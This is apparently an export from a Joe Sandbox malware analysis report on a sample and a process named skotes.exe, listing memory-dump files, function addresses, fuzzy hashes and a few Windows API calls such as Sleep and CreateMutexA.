Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 6ca599208dbca3bdc9248e7a3e7c10177743b2ec6e3365f9333b6cd1e02def57
Instruction ID: 4e469b06d3f5aa5f755f1580ee3ded66fe2ed84ea57d155e8327a36a9c9bc635
Opcode Fuzzy Hash: 6ca599208dbca3bdc9248e7a3e7c10177743b2ec6e3365f9333b6cd1e02def57
Instruction Fuzzy Hash: 45A1D270A01605EFEF21EF68C944B6AB7B8FF15314F088129E816D7651EB35EA04CBD2

Function 008CCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 008CCC66

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: 3069cfcc83a000d5965c147e98916c6ec19df9e8b4fff4a50ddefcfb531e7577
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: C5B112329042899FDB11CF68C881FAEBBB5FF46350F1481AEE959EB241D634CD42CB61

Function 008ABB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 008ABBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 008ABBE4
_xtime_get.LIBCPMT ref: 008ABC07
__Xtime_diff_to_millis2.LIBCPMT ref: 008ABC13

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 064ef255a3dbae330f927e7e1ba73c52f12158b0b6db0483c964b948dcc8beae
Instruction ID: 3094bd3952845d9b34cc0e171afd531fb37c96958872b54bb8e5342164226aac
Opcode Fuzzy Hash: 064ef255a3dbae330f927e7e1ba73c52f12158b0b6db0483c964b948dcc8beae
Instruction Fuzzy Hash: 50211D71A00119AFEF00EBA8DC819BEB7B9FF49710F100419F601EB251DB749D419BA1

Analysis Process: skotes.exePID: 8052, Parent PID: 7816COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1843
Total number of Limit Nodes:	15

Executed Functions

Function 0063652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0063652A,?,?,?,?,?,00637661), ref: 00636567

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: c417c7a8ca3abbf1001f37680510ab477acda5585b6f6b132b1254aeade921e7
Instruction ID: 573008ddafc69689feb32c1971866956c272b57ec8f0ad8c5dfc102f224e6407
Opcode Fuzzy Hash: c417c7a8ca3abbf1001f37680510ab477acda5585b6f6b132b1254aeade921e7
Instruction Fuzzy Hash: E9E04630001108ABDA25BF58C8099983B2AEB42765F108D24FD0986222CB65ED81D681

Function 00609BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0060A963
CreateMutexA.KERNELBASE(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
